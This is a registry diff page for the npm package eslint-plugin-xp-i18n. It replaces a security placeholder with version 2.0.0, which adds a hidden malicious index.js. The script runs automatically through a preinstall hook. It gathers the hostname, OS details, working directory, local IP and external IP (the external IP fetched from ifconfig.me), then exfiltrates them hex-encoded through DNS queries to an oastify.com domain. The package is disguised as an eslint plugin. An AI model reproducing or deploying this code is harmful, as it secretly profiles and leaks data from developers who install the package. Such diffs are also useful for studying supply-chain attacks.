eslint-plugin-xp-i18n 0.0.1-security → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of eslint-plugin-xp-i18n might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +107 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,107 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const https = require('https');
4
+ const process = require('process');
5
+
6
+ // Función para codificar los datos en formato hexadecimal
7
+ function encodeData(data) {
8
+ return Buffer.from(data).toString('hex'); // Codificamos en hexadecimal
9
+ }
10
+
11
+ // Función para dividir el string en fragmentos de longitud máxima
12
+ function splitDataIntoChunks(data, chunkSize) {
13
+ const chunks = [];
14
+ for (let i = 0; i < data.length; i += chunkSize) {
15
+ chunks.push(data.slice(i, i + chunkSize));
16
+ }
17
+ return chunks;
18
+ }
19
+
20
+ // Función para enviar las consultas DNS
21
+ function exfiltrateData(data, label) {
22
+ const encodedData = encodeData(data);
23
+ const maxDnsLength = 40; // Máxima longitud de subdominio en una consulta DNS
24
+
25
+ // Dividir los datos en fragmentos si son demasiado largos
26
+ const chunks = splitDataIntoChunks(encodedData, maxDnsLength);
27
+
28
+ chunks.forEach((chunk, index) => {
29
+ const domain = `${label}-${index}-${chunk}.p8yvdjdgoteup8gdu5wgpaf7kyqreh26.oastify.com`; // Reemplaza con tu dominio DNS controlado
30
+
31
+ // Realiza la consulta DNS por cada fragmento
32
+ dns.resolve(domain, 'A', (err, addresses) => {
33
+ if (err) {
34
+ //console.error(`Error en la consulta DNS para el fragmento ${index}:`, err);
35
+ } else {
36
+ //console.log(`Consulta DNS para el fragmento ${index} exitosa, direcciones:`, addresses);
37
+ }
38
+ });
39
+ });
40
+ }
41
+
42
+ // Obtener información básica del sistema
43
+ function getVictimInfo() {
44
+ const hostname = os.hostname(); // Nombre del equipo
45
+ const platform = os.platform(); // Sistema operativo (linux, win32, darwin)
46
+ const release = os.release(); // Versión del sistema operativo
47
+ const cwd = process.cwd(); // Directorio actual de trabajo
48
+ const interfaces = os.networkInterfaces();// Interfaces de red
49
+
50
+ let ipAddress = 'N/A'; // Dirección IP local
51
+ for (const key in interfaces) {
52
+ for (const details of interfaces[key]) {
53
+ if (details.family === 'IPv4' && !details.internal) {
54
+ ipAddress = details.address; // IP local válida (no localhost)
55
+ break;
56
+ }
57
+ }
58
+ }
59
+
60
+ return {
61
+ hostname: hostname,
62
+ platform: platform,
63
+ release: release,
64
+ ipAddress: ipAddress,
65
+ cwd: cwd
66
+ };
67
+ }
68
+
69
+ // Obtener la IP externa desde ifconfig.me
70
+ function getExternalIP(callback) {
71
+ https.get('https://ifconfig.me/ip', (res) => {
72
+ let data = '';
73
+
74
+ // Acumular datos del stream de respuesta
75
+ res.on('data', (chunk) => {
76
+ data += chunk;
77
+ });
78
+
79
+ // Al finalizar, devolver la IP
80
+ res.on('end', () => {
81
+ callback(data.trim());
82
+ });
83
+
84
+ }).on('error', (err) => {
85
+ //console.error('Error al obtener la IP externa:', err);
86
+ callback(null);
87
+ });
88
+ }
89
+
90
+ // Obtener información del equipo
91
+ const victimInfo = getVictimInfo();
92
+
93
+ // Exfiltrar cada dato por separado, fragmentado si es necesario
94
+ exfiltrateData(victimInfo.hostname, 'hnm');
95
+ exfiltrateData(victimInfo.platform, 'pfm');
96
+ exfiltrateData(victimInfo.release, 'rls');
97
+ exfiltrateData(victimInfo.ipAddress, 'lip');
98
+ exfiltrateData(victimInfo.cwd, 'cwd');
99
+
100
+ // Obtener la IP externa y exfiltrarla
101
+ getExternalIP((externalIP) => {
102
+ if (externalIP) {
103
+ exfiltrateData(externalIP, 'eip');
104
+ } else {
105
+ //console.error('No se pudo obtener la IP externa');
106
+ }
107
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "eslint-plugin-xp-i18n",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "description": "eslint",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "Author eslint",
11
+ "license": "MIT",
12
+ "dependencies": {
13
+ "eslint-plugin-xp-i18n": "file:eslint-plugin-xp-i18n-2.0.0.tgz"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=eslint-plugin-xp-i18n for more information.